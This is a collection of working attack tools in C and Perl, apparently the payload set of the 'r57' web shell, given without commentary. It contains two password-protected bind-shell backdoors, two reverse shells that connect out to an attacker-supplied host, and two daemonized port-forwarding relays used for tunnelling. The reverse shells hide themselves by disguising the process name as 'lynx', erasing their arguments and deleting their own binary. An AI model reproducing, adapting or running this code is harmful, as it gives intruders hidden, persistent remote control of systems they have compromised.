===============
port_bind_bd_c
===============

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
int main(argc,argv)
int argc;
char **argv;
{  
 int sockfd, newfd;
 char buf[30];
 struct sockaddr_in remote;
 if(fork() == 0) { 
 remote.sin_family = AF_INET;
 remote.sin_port = htons(atoi(argv[1]));
 remote.sin_addr.s_addr = htonl(INADDR_ANY); 
 sockfd = socket(AF_INET,SOCK_STREAM,0);
 if(!sockfd) perror("socket error");
 bind(sockfd, (struct sockaddr *)&remote, 0x10);
 listen(sockfd, 5);
 while(1)
  {
   newfd=accept(sockfd,0,0);
   dup2(newfd,0);
   dup2(newfd,1);
   dup2(newfd,2);
   write(newfd,"Password:",10);
   read(newfd,buf,sizeof(buf));
   if (!chpass(argv[2],buf))
   system("echo welcome to r57 shell && /bin/bash -i");
   else
   fprintf(stderr,"Sorry");
   close(newfd);
  }
 }
}
int chpass(char *base, char *entered) {
int i;
for(i=0;i<strlen(entered);i++) 
{
if(entered[i] == '\n')
entered[i] = '\0'; 
if(entered[i] == '\r')
entered[i] = '\0';
}
if (!strcmp(base,entered))
return 0;
}

===============
port_bind_bd_pl
===============

#!/usr/bin/perl
$SHELL="/bin/bash -i";
if (@ARGV < 1) { exit(1); }
$LISTEN_PORT=$ARGV[0];
use Socket;
$protocol=getprotobyname('tcp');
socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socket\n";
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
bind(S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die "Cant open port\n";
listen(S,3) || die "Cant listen port\n";
while(1)
{
accept(CONN,S);
if(!($pid=fork))
{
die "Cannot fork" if (!defined $pid);
open STDIN,"<&CONN";
open STDOUT,">&CONN";
open STDERR,">&CONN";
exec $SHELL || die print CONN "Cant execute $SHELL\n";
close CONN;
exit 0;
}
}


============
back_connect
============

#!/usr/bin/perl
use Socket;
$cmd= "lynx";
$system= 'echo "`uname -a`";echo "`id`";/bin/sh';
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);

==============
back_connect_c
==============

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(int argc, char *argv[])
{
 int fd;
 struct sockaddr_in sin;
 char rms[21]="rm -f "; 
 daemon(1,0);
 sin.sin_family = AF_INET;
 sin.sin_port = htons(atoi(argv[2]));
 sin.sin_addr.s_addr = inet_addr(argv[1]); 
 bzero(argv[1],strlen(argv[1])+1+strlen(argv[2])); 
 fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ; 
 if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0) {
   perror("[-] connect()");
   exit(0);
 }
 strcat(rms, argv[0]);
 system(rms);  
 dup2(fd, 0);
 dup2(fd, 1);
 dup2(fd, 2);
 execl("/bin/sh","sh -i", NULL);
 close(fd); 
}


==========
datapipe_c
==========

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <netdb.h>
#include <linux/time.h>
#ifdef STRERROR
extern char *sys_errlist[];
extern int sys_nerr;
char *undef = "Undefined error";
char *strerror(error)  
int error;  
{ 
if (error > sys_nerr)
return undef;
return sys_errlist[error];
}
#endif

main(argc, argv)  
  int argc;  
  char **argv;  
{ 
  int lsock, csock, osock;
  FILE *cfile;
  char buf[4096];
  struct sockaddr_in laddr, caddr, oaddr;
  int caddrlen = sizeof(caddr);
  fd_set fdsr, fdse;
  struct hostent *h;
  struct servent *s;
  int nbyt;
  unsigned long a;
  unsigned short oport;

  if (argc != 4) {
    fprintf(stderr,"Usage: %s localport remoteport remotehost\n",argv[0]);
    return 30;
  }
  a = inet_addr(argv[3]);
  if (!(h = gethostbyname(argv[3])) &&
      !(h = gethostbyaddr(&a, 4, AF_INET))) {
    perror(argv[3]);
    return 25;
  }
  oport = atol(argv[2]);
  laddr.sin_port = htons((unsigned short)(atol(argv[1])));
  if ((lsock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
    perror("socket");
    return 20;
  }
  laddr.sin_family = htons(AF_INET);
  laddr.sin_addr.s_addr = htonl(0);
  if (bind(lsock, &laddr, sizeof(laddr))) {
    perror("bind");
    return 20;
  }
  if (listen(lsock, 1)) {
    perror("listen");
    return 20;
  }
  if ((nbyt = fork()) == -1) {
    perror("fork");
    return 20;
  }
  if (nbyt > 0)
    return 0;
  setsid();
  while ((csock = accept(lsock, &caddr, &caddrlen)) != -1) {
    cfile = fdopen(csock,"r+");
    if ((nbyt = fork()) == -1) {
      fprintf(cfile, "500 fork: %s\n", strerror(errno));
      shutdown(csock,2);
      fclose(cfile);
      continue;
    }
    if (nbyt == 0)
      goto gotsock;
    fclose(cfile);
    while (waitpid(-1, NULL, WNOHANG) > 0);
  }
  return 20;

 gotsock:
  if ((osock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
    fprintf(cfile, "500 socket: %s\n", strerror(errno));
    goto quit1;
  }
  oaddr.sin_family = h->h_addrtype;
  oaddr.sin_port = htons(oport);
  memcpy(&oaddr.sin_addr, h->h_addr, h->h_length);
  if (connect(osock, &oaddr, sizeof(oaddr))) {
    fprintf(cfile, "500 connect: %s\n", strerror(errno));
    goto quit1;
  }
  while (1) {
    FD_ZERO(&fdsr);
    FD_ZERO(&fdse);
    FD_SET(csock,&fdsr);
    FD_SET(csock,&fdse);
    FD_SET(osock,&fdsr);
    FD_SET(osock,&fdse);
    if (select(20, &fdsr, NULL, &fdse, NULL) == -1) {
      fprintf(cfile, "500 select: %s\n", strerror(errno));
      goto quit2;
    }
    if (FD_ISSET(csock,&fdsr) || FD_ISSET(csock,&fdse)) {
      if ((nbyt = read(csock,buf,4096)) <= 0)
	goto quit2;
      if ((write(osock,buf,nbyt)) <= 0)
	goto quit2;
    } else if (FD_ISSET(osock,&fdsr) || FD_ISSET(osock,&fdse)) {
      if ((nbyt = read(osock,buf,4096)) <= 0)
	goto quit2;
      if ((write(csock,buf,nbyt)) <= 0)
	goto quit2;
    }
  }

 quit2:
  shutdown(osock,2);
  close(osock);
 quit1:
  fflush(cfile);
  shutdown(csock,2);
 quit0:
  fclose(cfile);
  return 0;
}


============
$datapipe_pl
============

#!/usr/bin/perl
use IO::Socket;
use POSIX;
$localport = $ARGV[0];
$host      = $ARGV[1];
$port      = $ARGV[2];
$daemon=1;
$DIR = undef;
$| = 1;
if ($daemon){ $pid = fork; exit if $pid; die "$!" unless defined($pid); POSIX::setsid() or die "$!"; }
%o = ('port' => $localport,'toport' => $port,'tohost' => $host);
$ah = IO::Socket::INET->new('LocalPort' => $localport,'Reuse' => 1,'Listen' => 10) || die "$!";
$SIG{'CHLD'} = 'IGNORE';
$num = 0;
while (1) { 
$ch = $ah->accept(); if (!$ch) { print STDERR "$!\n"; next; }
++$num;
$pid = fork();
if (!defined($pid)) { print STDERR "$!\n"; } 
elsif ($pid == 0) { $ah->close(); Run(\%o, $ch, $num); } 
else { $ch->close(); }
}
sub Run {
my($o, $ch, $num) = @_;
my $th = IO::Socket::INET->new('PeerAddr' => $o->{'tohost'},'PeerPort' => $o->{'toport'});
if (!$th) { exit 0; }
my $fh;
if ($o->{'dir'}) { $fh = Symbol::gensym(); open($fh, ">$o->{'dir'}/tunnel$num.log") or die "$!"; }
$ch->autoflush();
$th->autoflush();
while ($ch || $th) {
my $rin = "";
vec($rin, fileno($ch), 1) = 1 if $ch;
vec($rin, fileno($th), 1) = 1 if $th;
my($rout, $eout);
select($rout = $rin, undef, $eout = $rin, 120);
if (!$rout  &&  !$eout) {}
my $cbuffer = "";
my $tbuffer = "";
if ($ch && (vec($eout, fileno($ch), 1) || vec($rout, fileno($ch), 1))) {
my $result = sysread($ch, $tbuffer, 1024);
if (!defined($result)) {
print STDERR "$!\n";
exit 0;
}
if ($result == 0) { exit 0; }
}
if ($th  &&  (vec($eout, fileno($th), 1)  || vec($rout, fileno($th), 1))) {
my $result = sysread($th, $cbuffer, 1024);
if (!defined($result)) { print STDERR "$!\n"; exit 0; }
if ($result == 0) {exit 0;}
}
if ($fh  &&  $tbuffer) {(print $fh $tbuffer);}
while (my $len = length($tbuffer)) {
my $res = syswrite($th, $tbuffer, $len);
if ($res > 0) {$tbuffer = substr($tbuffer, $res);} 
else {print STDERR "$!\n";}
}
while (my $len = length($cbuffer)) {
my $res = syswrite($ch, $cbuffer, $len);
if ($res > 0) {$cbuffer = substr($cbuffer, $res);} 
else {print STDERR "$!\n";}
}}}